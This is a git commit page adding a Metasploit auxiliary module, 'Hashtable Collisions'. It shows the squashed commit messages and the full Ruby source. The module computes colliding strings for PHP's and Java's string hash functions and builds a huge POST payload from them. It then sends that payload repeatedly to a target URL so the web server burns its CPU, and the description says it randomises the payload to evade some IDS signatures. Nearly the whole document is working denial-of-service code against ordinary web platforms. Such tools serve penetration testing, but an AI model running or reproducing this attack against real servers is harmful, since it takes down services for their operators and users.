Adding FireFart's hashcollision DoS module
Have some minor edits below, looks like it all works now though.
Squashed commit of the following:
commit b7befd4889f12105f36794b1caca316d1691b335
Author: Tod Beardsley <todb@metasploit.com>
Date: Fri Jun 1 14:31:32 2012 -0500
Removing ord in favor of unpack.
Also renaming a 'character' variable to 'c' rather than 'i' which is
easy to mistake for an Integer counter variable.
commit e80f6a5622df2136bc3557b2385822ba077e6469
Author: Tod Beardsley <todb@metasploit.com>
Date: Fri Jun 1 14:24:41 2012 -0500
Cleaning up print msgs
commit 5fd65ed54cb47834dc646fdca8f047fca4b74953
Author: Tod Beardsley <todb@metasploit.com>
Date: Fri Jun 1 14:19:10 2012 -0500
Clean up hashcollision_dos description
Caps, mostly. One sentence I still don't get but it's not really a show
stopper.
commit bec0ee43dc9078d34a328eb416970cdc446e6430
Author: Christian Mehlmauer <FireFart@gmail.com>
Date: Thu May 24 19:11:32 2012 +0200
Removed RPORT, ruby 1.8 safe, no case insensitive check, error handling
commit 20793f0dfd9103c4d7067a71e81212b48318d183
Author: Christian Mehlmauer <FireFart@gmail.com>
Date: Tue May 22 23:11:53 2012 +0200
Hashcollision Script (again)
unstable
Christian Mehlmauer
Tod Beardsley
parent
315d68b6f5
commit
6ae17db7d3
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Hashtable Collisions',
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'Description' => %q{
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This module uses a denial-of-service (DoS) condition appearing in a variety of
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programming languages. This vulnerability occurs when storing multiple values
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in a hash table and all values have the same hash value. This can cause a web server
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parsing the POST parameters issued with a request into a hash table to consume
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hours of CPU with a single HTTP request.
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Currently, only the hash functions for PHP and Java are implemented.
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This module was tested with PHP + httpd, Tomcat, Glassfish and Geronimo.
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It also generates a random payload to bypass some IDS signatures.
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},
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'Author' =>
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[
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'Alexander Klink', # advisory
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'Julian Waelde', # advisory
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'Scott A. Crosby', # original advisory
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'Dan S. Wallach', # original advisory
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'Krzysztof Kotowicz', # payload generator
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'Christian Mehlmauer <FireFart[at]gmail.com>' # metasploit module
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['URL', 'http://www.ocert.org/advisories/ocert-2011-003.html'],
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['URL', 'http://www.nruns.com/_downloads/advisory28122011.pdf'],
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['URL', 'http://events.ccc.de/congress/2011/Fahrplan/events/4680.en.html'],
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['URL', 'http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf'],
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['URL', 'http://www.youtube.com/watch?v=R2Cq3CLI6H8'],
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['CVE', '2011-5034'],
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['CVE', '2011-5035'],
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['CVE', '2011-4885'],
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['CVE', '2011-4858']
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],
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'DisclosureDate'=> 'Dec 28 2011'
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))
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register_options(
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[
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OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP','Java']]),
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OptString.new('URL', [ true, "The request URI", '/' ]),
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OptInt.new('RLIMIT', [ true, "Number of requests to send", 50 ])
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], self.class)
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register_advanced_options(
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[
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OptInt.new('recursivemax', [false, "Maximum recursions when searching for collisionchars", 15]),
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OptInt.new('maxpayloadsize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
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OptInt.new('collisionchars', [false, "Number of colliding chars to find", 5]),
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OptInt.new('collisioncharlength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
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OptInt.new('payloadlength', [false, "Length of each parameter in the payload", 8])
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], self.class)
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end
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def generate_payload
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# Taken from:
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# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
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@recursive_counter = 1
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collision_chars = compute_collision_chars
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return nil if collision_chars == nil
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length = datastore['payloadlength']
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size = collision_chars.length
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post = ""
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max_value_float = size ** length
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max_value_int = max_value_float.floor
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print_status("Generating POST data...")
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for i in 0.upto(max_value_int)
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input_string = i.to_s(size)
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result = input_string.rjust(length, "0")
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collision_chars.each do |key, value|
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result = result.gsub(key, value)
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end
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post << "#{Rex::Text.uri_encode(result)}=&"
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end
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return post
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end
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def compute_collision_chars
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print_status("Trying to find hashes...") if @recursive_counter == 1
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hashes = {}
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counter = 0
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length = datastore['collisioncharlength']
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a = []
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for i in @char_range
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a << i.chr
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end
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# Generate all possible strings
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source = a
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for i in Range.new(1,length-1)
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source = source.product(a)
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end
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source = source.map(&:join)
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# and pick a random one
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base_str = source.sample
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base_hash = @function.call(base_str)
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hashes[counter.to_s] = base_str
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counter = counter + 1
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for item in source
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if item == base_str
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next
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end
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if @function.call(item) == base_hash
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# Hooray we found a matching hash
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hashes[counter.to_s] = item
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counter = counter + 1
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end
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if counter >= datastore['collisionchars']
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break
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end
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end
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if counter < datastore['collisionchars']
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# Try it again
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if @recursive_counter > datastore['recursivemax']
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print_error("Not enough values found. Please start this script again.")
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return nil
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end
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print_status("#{@recursive_counter}: Not enough values found. Trying again...")
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@recursive_counter = @recursive_counter + 1
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hashes = compute_collision_chars
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else
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print_status("Found values:")
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hashes.each_value do |item|
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print_status("\tValue: #{item}\tHash: #{@function.call(item)}")
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item.each_char do |c|
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print_status("\t\tValue: #{c}\tCharcode: #{c.unpack("C")}")
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end
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end
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end
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return hashes
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end
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# General hash function, Dan "djb" Bernstein times XX add
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def djbxa(input_string, base, start)
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counter = input_string.length - 1
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result = start
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input_string.each_char do |item|
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result = result + ((base ** counter) * item.ord)
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counter = counter - 1
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end
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return result.round
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end
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# PHP's hash function (djb times 33 add)
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def djbx33a(input_string)
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return djbxa(input_string, 33, 5381)
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end
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# Java's hash function (djb times 31 add)
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def djbx31a(input_string)
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return djbxa(input_string, 31, 0)
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end
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def run
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case datastore['TARGET']
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when /PHP/
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@function = method(:djbx33a)
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@char_range = Range.new(0, 255)
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if (datastore['maxpayloadsize'] <= 0)
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datastore['maxpayloadsize'] = 8
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end
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when /Java/
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@function = method(:djbx31a)
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@char_range = Range.new(0, 128)
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if (datastore['maxpayloadsize'] <= 0)
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datastore['maxpayloadsize'] = 2
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end
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else
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raise RuntimeError, "Target #{datastore['TARGET']} not supported"
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end
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print_status("Generating payload...")
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payload = generate_payload
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return if payload == nil
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# trim to maximum payload size (in MB)
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max_in_mb = datastore['maxpayloadsize']*1024*1024
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payload = payload[0,max_in_mb]
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# remove last invalid(cut off) parameter
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position = payload.rindex("=&")
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payload = payload[0,position+1]
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print_status("Payload generated")
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for x in 1..datastore['RLIMIT']
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print_status("Sending request ##{x}...")
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opts = {
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'method' => 'POST',
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'uri' => datastore['URL'],
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'data' => payload
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}
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begin
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c = connect
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r = c.request_cgi(opts)
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c.send_request(r)
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# Don't wait for a response, can take hours
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rescue ::Rex::ConnectionError => exception
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print_error("#{rhost}:#{rport} - unable to connect: '#{exception.message}'")
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return
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ensure
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disconnect(c) if c
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end
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end
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end
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end
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